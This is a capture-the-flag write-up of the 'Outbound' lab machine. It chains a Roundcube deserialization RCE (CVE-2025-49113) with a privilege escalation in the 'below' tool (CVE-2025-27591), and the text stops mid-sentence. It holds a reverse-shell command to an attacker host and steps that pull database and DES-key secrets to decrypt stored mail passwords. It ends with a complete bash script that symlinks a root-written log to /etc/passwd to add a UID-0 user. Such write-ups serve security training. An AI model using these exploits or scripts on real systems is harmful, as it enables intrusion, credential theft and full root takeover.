RECON
Creds
Machine information:
As is common in real life pentests, you will start the Outbound box with credentials for the following account
tyler / LhKL1o9Nm3X2
Port Scan
$ rustscan -a $target_ip --ulimit 2000 -r 1-65535 -- -A -sC -Pn
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 9.6p1 Ubuntu 3ubuntu13.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBN9Ju3bTZsFozwXY1B2KIlEY4BA+RcNM57w4C5EjOw1QegUUyCJoO4TVOKfzy/9kd3WrPEj/FYKT2agja9/PM44=
| 256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH9qI0OvMyp03dAGXR0UPdxw7hjSwMR773Yb9Sne+7vD
80/tcp open http syn-ack nginx 1.24.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://mail.outbound.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelHTTP traffic gets seamlessly funneled to http://mail.outbound.htb/ via a redirect.
Port 80
Port 80 hosts a Roundcube Webmail instance, accessible with the pre-supplied credentials: tyler / LhKL1o9Nm3X2.

The setup rings a familiar bell—echoes of DarkCorp, where version 1.6.7 was in play. This time, we're dealing with a bumped release: 1.6.10, laced with high-value plugins—file compression, filesystem access, and upload capabilities. A wider attack surface, ripe for exploitation.
WEB
CVE‑2025‑49113
Post‑Auth RCE
The presence of upload-centric plugins is a red flag—this reeks of a classic upload-based RCE. A quick recon confirms it: CVE‑2025‑49113 hits the mark.
- Affected versions: all Roundcube releases before 1.5.10 and 1.6.0 to 1.6.10
- The flaw stems from improper sanitization of the
_fromGET parameter inprogram/actions/settings/upload.php, enabling PHP object deserialization
This is a textbook Post‑Auth Remote Code Execution—a perfect match for our scenario. The attack flow is razor-sharp:
- Log in using valid Roundcube credentials.
- Abuse file upload by tampering with the
_fromparameter and injecting a serialized payload. - The backend unserializes user-controlled data, leading to arbitrary code execution via crafted PHP objects.
Upload endpoint reveals itself during file attachment to emails:

Several PoCs are in the wild—including a tailored Metasploit module: roundcube_auth_rce_cve_2025_49113. It's plug-and-pwn from here.
PHP Deserialization
For a deeper dive, the OffSec research offers a solid breakdown—classic PHP deserialization, unearthed through meticulous code auditing. Dropped just a month ago, and already weaponized.
An active PoC is available on GitHub—plug-and-play.
Spin up a listener, then fire off the payload:
php CVE-2025-49113.php http://mail.outbound.htb \
tyler LhKL1o9Nm3X2 \
"bash -c 'sh -i >& /dev/tcp/$attacker_ip/4444 0>&1'"Smooth execution:

To establish a stable shell, we can run:
script -c /bin/bash /dev/nullWe've got our initial compromise—www-data, namely the web root user.
USER
Enum
First things first—once inside as www-data, we pivot into config file reconnaissance, as always.
Found /var/www/html/roundcube/config/config.inc.php:
<?php
/*
+-----------------------------------------------------------------------+
| Local configuration for the Roundcube Webmail installation. |
| |
| This is a sample configuration file only containing the minimum |
| setup required for a functional installation. Copy more options |
| from defaults.inc.php to this file to override the defaults. |
| |
| This file is part of the Roundcube Webmail client |
| Copyright (C) The Roundcube Dev Team |
| |
| Licensed under the GNU General Public License version 3 or |
| any later version with exceptions for skins & plugins. |
| See the README file for a full license statement. |
+-----------------------------------------------------------------------+
*/
$config = [];
// Database connection string (DSN) for read+write operations
// Format (compatible with PEAR MDB2): db_provider://user:password@host/database
// Currently supported db_providers: mysql, pgsql, sqlite, mssql, sqlsrv, oracle
// For examples see http://pear.php.net/manual/en/package.database.mdb2.intro-dsn.php
// NOTE: for SQLite use absolute path (Linux): 'sqlite:////full/path/to/sqlite.db?mode=0646'
// or (Windows): 'sqlite:///C:/full/path/to/sqlite.db'
$config['db_dsnw'] = 'mysql://roundcube:RCDBPass2025@localhost/roundcube';
// IMAP host chosen to perform the log-in.
// See defaults.inc.php for the option description.
$config['imap_host'] = 'localhost:143';
// SMTP server host (for sending mails).
// See defaults.inc.php for the option description.
$config['smtp_host'] = 'localhost:587';
// SMTP username (if required) if you use %u as the username Roundcube
// will use the current username for login
$config['smtp_user'] = '%u';
// SMTP password (if required) if you use %p as the password Roundcube
// will use the current user's password for login
$config['smtp_pass'] = '%p';
// provide an URL where a user can get support for this Roundcube installation
// PLEASE DO NOT LINK TO THE ROUNDCUBE.NET WEBSITE HERE!
$config['support_url'] = '';
// Name your service. This is displayed on the login screen and in the window title
$config['product_name'] = 'Roundcube Webmail';
// This key is used to encrypt the users imap password which is stored
// in the session record. For the default cipher method it must be
// exactly 24 characters long.
// YOUR KEY MUST BE DIFFERENT THAN THE SAMPLE VALUE FOR SECURITY REASONS
$config['des_key'] = 'rcmail-!24ByteDESkey*Str';
// List of active plugins (in plugins/ directory)
$config['plugins'] = [
'archive',
'zipdownload',
];
// skin name: folder from skins/
$config['skin'] = 'elastic';
$config['default_host'] = 'localhost';
$config['smtp_server'] = 'localhost';Database Credentials:
- User:
roundcube - Pass:
RCDBPass2025 - Host:
localhost - DB:
roundcube
IMAP / SMTP Host Info:
- IMAP host:
localhost:143 - SMTP host:
localhost:587 - SMTP user:
%u - SMTP pass:
%p
Mailstack live check:
www-data@mail:/$ ps aux | grep dovecot
ps aux | grep dovecot
root 8810 0.0 0.0 8544 2848 ? Ss 02:53 0:00 /usr/sbin/dovecot -c /etc/dovecot/dovecot.conf
dovecot 8811 0.0 0.0 5024 2944 ? S 02:53 0:00 dovecot/anvil
root 8812 0.0 0.0 5164 3072 ? S 02:53 0:00 dovecot/log
root 8813 0.0 0.1 7696 4736 ? S 02:53 0:00 dovecot/config
www-data 8884 0.0 0.0 3528 1664 pts/0 S+ 02:58 0:00 grep dovecot
www-data@mail:/$ ps aux | grep postfix
ps aux | grep postfix
root 557 0.0 0.1 42856 4496 ? Ss Jul12 0:00 /usr/lib/postfix/sbin/master -w
postfix 559 0.0 0.1 42924 7296 ? S Jul12 0:00 qmgr -l -t unix -u
postfix 8599 0.0 0.1 42884 7168 ? S 02:42 0:00 pickup -l -t unix -u -c
www-data 8886 0.0 0.0 3528 1792 pts/0 S+ 02:58 0:00 grep postfixdovecot (confirms IMAP service) and postfix (confirms SMTP service) are alive and kicking.
Additionally, %u and %p mean Roundcube reuses user-supplied creds for SMTP. So if we compromise a user account via RCE or DB dump, we can send/read mails as that user.
Encryption Key:
- Des key:
rcmail-!24ByteDESkey*Str
This is used to encrypt IMAP passwords stored in PHP sessions or database. If we access to session or users table, we can decrypt saved IMAP passwords.
DB Breach
TTherefore, first step: connect to the local MySQL instance using discovered creds:
mysql -u roundcube -pRCDBPass2025 -h localhost roundcube
Inspect the users table:
MariaDB [roundcube]> SELECT * FROM users;
+---------+----------+-----------+---------------------+---------------------+---------------------+----------------------+----------+---------------------------------------------------+
| user_id | username | mail_host | created | last_login | failed_login | failed_login_counter | language | preferences |
+---------+----------+-----------+---------------------+---------------------+---------------------+----------------------+----------+---------------------------------------------------+
| 1 | jacob | localhost | 2025-06-07 13:55:18 | 2025-06-11 07:52:49 | 2025-06-11 07:51:32 | 1 | en_US | a:1:{s:11:"client_hash";s:16:"hpLLqLwmqbyihpi7";} |
| 2 | mel | localhost | 2025-06-08 12:04:51 | 2025-06-08 13:29:05 | NULL | NULL | en_US | a:1:{s:11:"client_hash";s:16:"GCrPGMkZvbsnc3xv";} |
| 3 | tyler | localhost | 2025-06-08 13:28:55 | 2025-07-13 02:44:06 | 2025-06-11 07:51:22 | 1 | en_US | a:1:{s:11:"client_hash";s:16:"Y2Rz3HTwxwLJHevI";} |
+---------+----------+-----------+---------------------+---------------------+---------------------+----------------------+----------+---------------------------------------------------+We now see two more players: jacob and mel. jacob shows failed logins—possible brute or outdated creds? preferences field contains harmless serialized config (client_hash), not auth material.
Since we have the encryption key found, we would look up the session table to see if there's any stored PHP sessions:
MariaDB [roundcube]> SELECT * FROM session;
+----------------------------+---------------------+------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| sess_id | changed | ip | vars |
+----------------------------+---------------------+------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| 6a5ktqih5uca6lj8vrmgh9v0oh | 2025-06-08 15:46:40 | 172.17.0.1 | bGFuZ3VhZ2V8czo1OiJlbl9VUyI7aW1hcF9uYW1lc3BhY2V8YTo0OntzOjg6InBlcnNvbmFsIjthOjE6e2k6MDthOjI6e2k6MDtzOjA6IiI7aToxO3M6MToiLyI7fX1zOjU6Im90aGVyIjtOO3M6Njoic2hhcmVkIjtOO3M6MTA6InByZWZpeF9vdXQiO3M6MDoiIjt9aW1hcF9kZWxpbWl0ZXJ8czoxOiIvIjtpbWFwX2xpc3RfY29uZnxhOjI6e2k6MDtOO2k6MTthOjA6e319dXNlcl9pZHxpOjE7dXNlcm5hbWV8czo1OiJqYWNvYiI7c3RvcmFnZV9ob3N0fHM6OToibG9jYWxob3N0IjtzdG9yYWdlX3BvcnR8aToxNDM7c3RvcmFnZV9zc2x8YjowO3Bhc3N3b3JkfHM6MzI6Ikw3UnYwMEE4VHV3SkFyNjdrSVR4eGNTZ25JazI1QW0vIjtsb2dpbl90aW1lfGk6MTc0OTM5NzExOTt0aW1lem9uZXxzOjEzOiJFdXJvcGUvTG9uZG9uIjtTVE9SQUdFX1NQRUNJQUwtVVNFfGI6MTthdXRoX3NlY3JldHxzOjI2OiJEcFlxdjZtYUk5SHhETDVHaGNDZDhKYVFRVyI7cmVxdWVzdF90b2tlbnxzOjMyOiJUSXNPYUFCQTF6SFNYWk9CcEg2dXA1WEZ5YXlOUkhhdyI7dGFza3xzOjQ6Im1haWwiO3NraW5fY29uZmlnfGE6Nzp7czoxNzoic3VwcG9ydGVkX2xheW91dHMiO2E6MTp7aTowO3M6MTA6IndpZGVzY3JlZW4iO31zOjIyOiJqcXVlcnlfdWlfY29sb3JzX3RoZW1lIjtzOjk6ImJvb3RzdHJhcCI7czoxODoiZW1iZWRfY3NzX2xvY2F0aW9uIjtzOjE3OiIvc3R5bGVzL2VtYmVkLmNzcyI7czoxOToiZWRpdG9yX2Nzc19sb2NhdGlvbiI7czoxNzoiL3N0eWxlcy9lbWJlZC5jc3MiO3M6MTc6ImRhcmtfbW9kZV9zdXBwb3J0IjtiOjE7czoyNjoibWVkaWFfYnJvd3Nlcl9jc3NfbG9jYXRpb24iO3M6NDoibm9uZSI7czoyMToiYWRkaXRpb25hbF9sb2dvX3R5cGVzIjthOjM6e2k6MDtzOjQ6ImRhcmsiO2k6MTtzOjU6InNtYWxsIjtpOjI7czoxMDoic21hbGwtZGFyayI7fX1pbWFwX2hvc3R8czo5OiJsb2NhbGhvc3QiO3BhZ2V8aToxO21ib3h8czo1OiJJTkJPWCI7c29ydF9jb2x8czowOiIiO3NvcnRfb3JkZXJ8czo0OiJERVNDIjtTVE9SQUdFX1RIUkVBRHxhOjM6e2k6MDtzOjEwOiJSRUZFUkVOQ0VTIjtpOjE7czo0OiJSRUZTIjtpOjI7czoxNDoiT1JERVJFRFNVQkpFQ1QiO31TVE9SQUdFX1FVT1RBfGI6MDtTVE9SQUdFX0xJU1QtRVhURU5ERUR8YjoxO2xpc3RfYXR0cmlifGE6Njp7czo0OiJuYW1lIjtzOjg6Im1lc3NhZ2VzIjtzOjI6ImlkIjtzOjExOiJtZXNzYWdlbGlzdCI7czo1OiJjbGFzcyI7czo0MjoibGlzdGluZyBtZXNzYWdlbGlzdCBzb3J0aGVhZGVyIGZpeGVkaGVhZGVyIjtzOjE1OiJhcmlhLWxhYmVsbGVkYnkiO3M6MjI6ImFyaWEtbGFiZWwtbWVzc2FnZWxpc3QiO3M6OToiZGF0YS1saXN0IjtzOjEyOiJtZXNzYWdlX2xpc3QiO3M6MTQ6ImRhdGEtbGFiZWwtbXNnIjtzOjE4OiJUaGUgbGlzdCBpcyBlbXB0eS4iO311bnNlZW5fY291bnR8YToyOntzOjU6IklOQk9YIjtpOjI7czo1OiJUcmFzaCI7aTowO31mb2xkZXJzfGE6MTp7czo1OiJJTkJPWCI7YToyOntzOjM6ImNudCI7aToyO3M6NjoibWF4dWlkIjtpOjM7fX1saXN0X21vZF9zZXF8czoyOiIxMCI7 |
+----------------------------+---------------------+------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.000 sec)This is a stored IMAP password. And we've already got the DES key from earlier:
$config['des_key'] = 'rcmail-!24ByteDESkey*Str';With both the password field and des_key, we're primed to decrypt the IMAP credentials and hijack the mailbox.
Decrypt
Base64-decode the vars column:
echo 'bGFuZ3VhZ2V8czo1OiJlbl9VUyI7aW1hcF9uYW1lc3BhY2V8YTo0OntzOjg6InBlcnNvbmFsIjthOjE6e2k6MDthOjI6e2k6MDtzOjA6IiI7aToxO3M6MToiLyI7fX1zOjU6Im90aGVyIjtOO3M6Njoic2hhcmVkIjtOO3M6MTA6InByZWZpeF9vdXQiO3M6MDoiIjt9aW1hcF9kZWxpbWl0ZXJ8czoxOiIvIjtpbWFwX2xpc3RfY29uZnxhOjI6e2k6MDtOO2k6MTthOjA6e319dXNlcl9pZHxpOjE7dXNlcm5hbWV8czo1OiJqYWNvYiI7c3RvcmFnZV9ob3N0fHM6OToibG9jYWxob3N0IjtzdG9yYWdlX3BvcnR8aToxNDM7c3RvcmFnZV9zc2x8YjowO3Bhc3N3b3JkfHM6MzI6Ikw3UnYwMEE4VHV3SkFyNjdrSVR4eGNTZ25JazI1QW0vIjtsb2dpbl90aW1lfGk6MTc0OTM5NzExOTt0aW1lem9uZXxzOjEzOiJFdXJvcGUvTG9uZG9uIjtTVE9SQUdFX1NQRUNJQUwtVVNFfGI6MTthdXRoX3NlY3JldHxzOjI2OiJEcFlxdjZtYUk5SHhETDVHaGNDZDhKYVFRVyI7cmVxdWVzdF90b2tlbnxzOjMyOiJUSXNPYUFCQTF6SFNYWk9CcEg2dXA1WEZ5YXlOUkhhdyI7dGFza3xzOjQ6Im1haWwiO3NraW5fY29uZmlnfGE6Nzp7czoxNzoic3VwcG9ydGVkX2xheW91dHMiO2E6MTp7aTowO3M6MTA6IndpZGVzY3JlZW4iO31zOjIyOiJqcXVlcnlfdWlfY29sb3JzX3RoZW1lIjtzOjk6ImJvb3RzdHJhcCI7czoxODoiZW1iZWRfY3NzX2xvY2F0aW9uIjtzOjE3OiIvc3R5bGVzL2VtYmVkLmNzcyI7czoxOToiZWRpdG9yX2Nzc19sb2NhdGlvbiI7czoxNzoiL3N0eWxlcy9lbWJlZC5jc3MiO3M6MTc6ImRhcmtfbW9kZV9zdXBwb3J0IjtiOjE7czoyNjoibWVkaWFfYnJvd3Nlcl9jc3NfbG9jYXRpb24iO3M6NDoibm9uZSI7czoyMToiYWRkaXRpb25hbF9sb2dvX3R5cGVzIjthOjM6e2k6MDtzOjQ6ImRhcmsiO2k6MTtzOjU6InNtYWxsIjtpOjI7czoxMDoic21hbGwtZGFyayI7fX1pbWFwX2hvc3R8czo5OiJsb2NhbGhvc3QiO3BhZ2V8aToxO21ib3h8czo1OiJJTkJPWCI7c29ydF9jb2x8czowOiIiO3NvcnRfb3JkZXJ8czo0OiJERVNDIjtTVE9SQUdFX1RIUkVBRHxhOjM6e2k6MDtzOjEwOiJSRUZFUkVOQ0VTIjtpOjE7czo0OiJSRUZTIjtpOjI7czoxNDoiT1JERVJFRFNVQkpFQ1QiO31TVE9SQUdFX1FVT1RBfGI6MDtTVE9SQUdFX0xJU1QtRVhURU5ERUR8YjoxO2xpc3RfYXR0cmlifGE6Njp7czo0OiJuYW1lIjtzOjg6Im1lc3NhZ2VzIjtzOjI6ImlkIjtzOjExOiJtZXNzYWdlbGlzdCI7czo1OiJjbGFzcyI7czo0MjoibGlzdGluZyBtZXNzYWdlbGlzdCBzb3J0aGVhZGVyIGZpeGVkaGVhZGVyIjtzOjE1OiJhcmlhLWxhYmVsbGVkYnkiO3M6MjI6ImFyaWEtbGFiZWwtbWVzc2FnZWxpc3QiO3M6OToiZGF0YS1saXN0IjtzOjEyOiJtZXNzYWdlX2xpc3QiO3M6MTQ6ImRhdGEtbGFiZWwtbXNnIjtzOjE4OiJUaGUgbGlzdCBpcyBlbXB0eS4iO311bnNlZW5fY291bnR8YToyOntzOjU6IklOQk9YIjtpOjI7czo1OiJUcmFzaCI7aTowO31mb2xkZXJzfGE6MTp7czo1OiJJTkJPWCI7YToyOntzOjM6ImNudCI7aToyO3M6NjoibWF4dWlkIjtpOjM7fX1saXN0X21vZF9zZXF8czoyOiIxMCI7' \
| base64 -d > decoded_session.txtThis will give us a PHP serialized array. From the parsed result, we found:
username|s:5:"jacob"
password|s:32:"L7Rv00A8TuwJAr67kITxxcSgnIk25Am/"This is the encrypted IMAP password, base64 encoded, for user jacob.
Method 1
Roundcube's decryption logic is defined in rcube.php at line 943.
public function decrypt($cipher, $key = 'des_key', $base64 = true)
{
...
// base64 decode
if ($base64) {
$cipher = base64_decode($cipher, true);
if ($cipher === false) {
return false;
}
}
// des_key from config
$ckey = $this->config->get_crypto_key($key);
// by default, 'DES-EDE3-CBC'
$method = $this->config->get_crypto_method();
// typically 8 for 3DES
$iv_size = openssl_cipher_iv_length($method);
...
// IV is embedded in the ciphertext
$iv = substr($cipher, 0, $iv_size);
...
// Decrypt with PHP's `openssl_decrypt()`
$cipher = substr($cipher, $iv_size);
$clear = openssl_decrypt($cipher, $method, $ckey, \OPENSSL_RAW_DATA, $iv, $tag);
return $clear;
}By default, Roundcube uses 3DES (DES-EDE3-CBC) for encryption. So we can just simply modify the PHP function to decrypt:
<?php
$data = base64_decode('L7Rv00A8TuwJAr67kITxxcSgnIk25Am/');
$key = 'rcmail-!24ByteDESkey*Str';
$iv = substr($data, 0, 8);
$cipher = substr($data, 8);
$clear = openssl_decrypt($cipher, 'DES-EDE3-CBC', $key, OPENSSL_RAW_DATA, $iv);
echo "Decrypted: $clear\n";
?>Run it and we have:
Decrypted: 595mO8DmwGeDMethod 2
When searching decryption Roundcube password on the Internet, we found Roundcube ships a general-purpose decryptor in bin/decrypt.sh on the official Github repo:
#!/usr/bin/env php
<?php
/*
+-----------------------------------------------------------------------+
| This file is part of the Roundcube Webmail client |
| |
| Copyright (C) The Roundcube Dev Team |
| |
| Licensed under the GNU General Public License version 3 or |
| any later version with exceptions for skins & plugins. |
| See the README file for a full license statement. |
| |
| PURPOSE: |
| Decrypt the encrypted parts of the HTTP Received: headers |
+-----------------------------------------------------------------------+
| Author: Tomas Tevesz <[email protected]> |
+-----------------------------------------------------------------------+
*/
/*
* If http_received_header_encrypt is configured, the IP address and the
* host name of the added Received: header is encrypted with 3DES, to
* protect information that some could consider sensitive, yet their
* availability is a must in some circumstances.
*
* Such an encrypted Received: header might look like:
*
* Received: from DzgkvJBO5+bw+oje5JACeNIa/uSI4mRw2cy5YoPBba73eyBmjtyHnQ==
* [my0nUbjZXKtl7KVBZcsvWOxxtyVFxza4]
* with HTTP/1.1 (POST); Thu, 14 May 2009 19:17:28 +0200
*
* In this example, the two encrypted components are the sender host name
* (DzgkvJBO5+bw+oje5JACeNIa/uSI4mRw2cy5YoPBba73eyBmjtyHnQ==) and the IP
* address (my0nUbjZXKtl7KVBZcsvWOxxtyVFxza4).
*
* Using this tool, they can be decrypted into plain text:
*
* $ bin/decrypt.sh 'my0nUbjZXKtl7KVBZcsvWOxxtyVFxza4' \
* > 'DzgkvJBO5+bw+oje5JACeNIa/uSI4mRw2cy5YoPBba73eyBmjtyHnQ=='
* 84.3.187.208
* 5403BBD0.catv.pool.telekom.hu
* $
*
* Thus it is known that this particular message was sent by 84.3.187.208,
* having, at the time of sending, the name of 5403BBD0.catv.pool.telekom.hu.
*
* If (most likely binary) junk is shown, then
* - either the encryption password has, between the time the mail was sent
* and 'now', changed, or
* - you are dealing with counterfeit header data.
*/
define('INSTALL_PATH', realpath(__DIR__ . '/..') . '/');
require INSTALL_PATH . 'program/include/clisetup.php';
if ($argc < 2) {
exit('Usage: ' . basename($argv[0]) . " encrypted-hdr-part [encrypted-hdr-part ...]\n");
}
$RCMAIL = rcube::get_instance();
for ($i = 1; $i < $argc; $i++) {
printf("%s\n", $RCMAIL->decrypt($argv[$i]));
}Despite the misleading comments about "Received headers," the underlying decrypt function rcube::decrypt() is general-purpose and is used across Roundcube, same as the one defined in rcube.php.
On the server, the script is under:
/var/www/html/roundcube/public_html/roundcube/bin/decrypt.shWe can use it to decrypt the base64 encoded encrypted password directly:
www-data@mail:/$ /var/www/html/roundcube/public_html/roundcube/bin/decrypt.sh 'L7Rv00A8TuwJAr67kITxxcSgnIk25Am/'
595mO8DmwGeDSame result.
IMAP Access
Session data hints at 2 emails in Jacob's inbox:
s:5:"INBOX";i:2Armed with the decrypted password 595mO8DmwGeD and the known username (jacob), we now have valid IMAP credentials to access his mailbox.
Among those 2 emails, we see a password reset:

Reuse the password gY4Wr3a1evp4 for SSH login as user jacob:

User flag captured.
ROOT
Sudo | below
Check sudo privilege:
jacob@outbound:~$ sudo -l
Matching Defaults entries for jacob on outbound:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jacob may run the following commands on outbound:
(ALL : ALL) NOPASSWD: /usr/bin/below *, !/usr/bin/below --config*, !/usr/bin/below --debug*, !/usr/bin/below -d*below is a TUI performance monitoring tool for Linux systems, written in Rust. It's like htop, but built around perf and stores recordings:

Check command help manual:
jacob@outbound:~$ below -h
Usage: below [OPTIONS] [COMMAND]
Commands:
live Display live system data (interactive) (default)
record Record local system data (daemon mode)
replay Replay historical data (interactive)
debug Debugging facilities (for development use)
dump Dump historical data into parseable text format
snapshot Create a historical snapshot file for a given time range
help Print this message or the help of the given subcommand(s)
Options:
--config <CONFIG> [default: /etc/below/below.conf]
-d, --debug
-h, --help Print helpTo be notice, the sudo rules forbid us to run anything using:
--config--debug-d
CVE-2025-27591
Search a bit on the Internet, we see CVE-2025-27591, which ties directly into our sudo permissions for below.
below versions before 0.9.0 create the directory /var/log/below/ with world-writable permissions:

A local attacker (non-root) could then:
- Replace
/var/log/below/some.logwith a symlink to a root-owned file (e.g./etc/shadow,/etc/sudoers,/root/.ssh/authorized_keys) - Run
sudo below ...to force the privileged binary to write logs into the symlink - Trample root-owned files and escalate privileges
The logrotate.conf in the repository:
/var/log/below/error_*.log {
daily
rotate 14
maxage 14
copytruncate
compress
notifempty
missingok
create 0644 root root
su root root
}…confirms it uses error_*.log files stored under /var/log/below/.
Write Primitive
Our target: abuse sudo below to coerce root into writing attacker-controlled data to root-owned logs—even when restricted flags like --config or --debug are off-limits.
logging.rs sets the trap. At line 35, it uses:
pub fn setup(init: InitToken, path: PathBuf, debug: bool) -> slog::Logger {
let file = match OpenOptions::new().create(true).append(true).open(path) {
...
};
setup_log(init, file, debug)
}This setup function opens a file at the provided path (which defaults to /var/log/below/error_*.log). Then it calls setup_log internally to write the logs.
This blindly follows symlinks, creates the file if missing, and appends to it—symlink race or pre-creation overwrite becomes viable.
So we pivot to main.rs and inspect how subcommands invoke the logger, starting at line 876.
Among many options, replay, the first occurrent from the code, provides a clean exploit path—here's the breakdown (annotated):
fn replay(
logger: slog::Logger, // initialze logger instance
errs: Receiver<Error>,
time: String, // user-controlled --time argument
below_config: &BelowConfig,
host: Option<String>,
port: Option<u16>,
days_adjuster: Option<String>,
snapshot: Option<String>,
) -> Result<()> {
// Parse user-supplied --time into a timestamp (this can fail)
let timestamp =
cliutil::system_time_from_date_and_adjuster(time.as_str(), days_adjuster.as_deref())?;
// If malformed (e.g., non-date input)
// this returns Err(...) containing the "time" string.
...
let model = match advance.jump_sample_to(timestamp) {
Some(m) => m,
// [!] If no matching snapshot sample found
// `bail!` simply returns Err.
None => bail!(
"No initial sample could be found!\n\
You may have provided a time in the future or no data was recorded during the provided time. \
Please check your input and timezone.\n\
If you are using remote, please make sure the below service on target host is running."
),
};
...
// No log is triggered here — but that Err is passed back to run()
view.run()
}This function takes the user-controlled --time input and tries to parse it. If invalid, it throws an error string containing our input—a log poisoning primitive.
The actual write to log occurs in the last line — view.run(), which wraps the subcommand execution, defined at line 555:
pub fn run<F>(
init: init::InitToken,
debug: bool,
below_config: &BelowConfig, // holds log_dir → "/var/log/below"
_service: Service,
command: F, // closure wrapping the chosen sub-command
) -> i32
where
F: FnOnce(init::InitToken, &BelowConfig, slog::Logger, Receiver<Error>) -> Result<()>,
{
let (err_sender, err_receiver) = channel();
// Builds the full log file path `/var/log/below/below.log`
let log_path = below_config.log_dir.join("below.log");
// [1] Exploit sink #1
// Open the logfile with create+append, following any symlink
let logger = logging::setup(init, log_path, debug);
setup_log_on_panic(logger.clone());
// Execute the chosen sub-command (e.g., replay())
// Any Err returned will be caught below.
let res = command(init, below_config, logger.clone(), err_receiver);
match res {
Ok(_) => 0, // normal exit, no exploit
Err(e) if e.is::<StopSignal>() => { // signal path
error!(logger, "{:#}", e); // [2] Exploit sink #2
0
}
Err(e) => {
...
// [3] Exploit sink #3
// Write attacker-influenced error to logfile ──
// If replay() failed to parse `--time`, `e` contains that
// controlled string and is written as root to below.log.
error!(
logger,
"\n----------------- Detected unclean exit ---------------------\n\
Error Message: {:#}\n\
-------------------------------------------------------------",
e
);
1
}
}
}Three logging sinks exist. If our malicious input triggers an error, it's formatted and logged—giving us a powerful write primitive with root context.
To validate this, we pass a malformed date string into --time, and observe the result:
sudo below replay --time 'hello from axura'As expected, our input lands in /var/log/below/error_root.log, written by root. The string is also echoed to stderr.

Therefore, with newline injection, we can poison system-critical files.
Other subcommands such as
live,record,dump, anddebugalso pass through the their logging logic—offering multiple exploit vectors.
Exploit
With root-level arbitrary writes, several privilege escalation paths are viable: injecting a root user into /etc/passwd, overwriting /etc/shadow, or dropping an SSH private key into /root/.ssh.
The heart of the exploit is a simple symlink: link /var/log/below/error_root.log to a target like /etc/passwd. Once below logs an attacker-controlled message, it overwrites the victim file as root.
We can finish the exploit with a script:
#!/usr/bin/env bash
# Author : Axura
# CVE-2025-27591 – Below ≤ 0.9.0 world-writable log directory
# Goal : add a root-equivalent user “axura” (password = Axura@4sure)
# Method : point /var/log/below/error_root.log → /etc/passwd
# set -x
# ── paths & constants ───────────────────────────────────────────────────────
TARGET="/etc/passwd" # victim file
LINK="/var/log/below/error_root.log" # logfile opened by root
USER="axura"
PASS="Axura@4sure"
echo "[*] CVE-2025-27591 – add $USER to $TARGET"
# 0‒ make sure we can run Below with sudo
sudo -l | grep -q '/usr/bin/below' || { echo "[!] /usr/bin/below not in sudoers"; exit 1; }
# 1‒ generate SHA-512 password hash
HASH=$(openssl passwd -6 "$PASS")
PAYLOAD_LINE="${USER}:${HASH}:0:0:root:/root:/bin/bash"
# 2‒ place / refresh the symlink
ln -sf "$TARGET" "$LINK"
echo "[*] Symlink $LINK → $TARGET ready"
# 3‒ craft payload: \n <payload> \n BADDATE
PAYLOAD=$'\n'"$PAYLOAD_LINE"$'\nBADDATE'
echo "[DBG] payload:"
printf '%s\n' "$PAYLOAD"
# 4‒ sudo write primitive – parser error logs payload as root
echo "[*] Triggering Below write primitive…"
sudo /usr/bin/below replay --time "$PAYLOAD" 2>/dev/null
echo "[+] Exploit complete."
echo " su $USER # password: $PASS"We abuse the --time argument to inject newlines and drop our payload line directly into /etc/passwd, elevating axura to UID 0.
The malicious line we append:
axura:$6$<pw-hash>:0:0:root:/root:/bin/bash
axura– the new login name.- password field – a SHA-512 crypt hash (
$6$…) produced withopenssl passwd -6 "Axura@4sure". We embed the hash directly because we're writing to/etc/passwd(not to/etc/shadow).- UID
0/ GID0– makesaxuraan exact root equivalent.- comment – “root” (arbitrary).
- home –
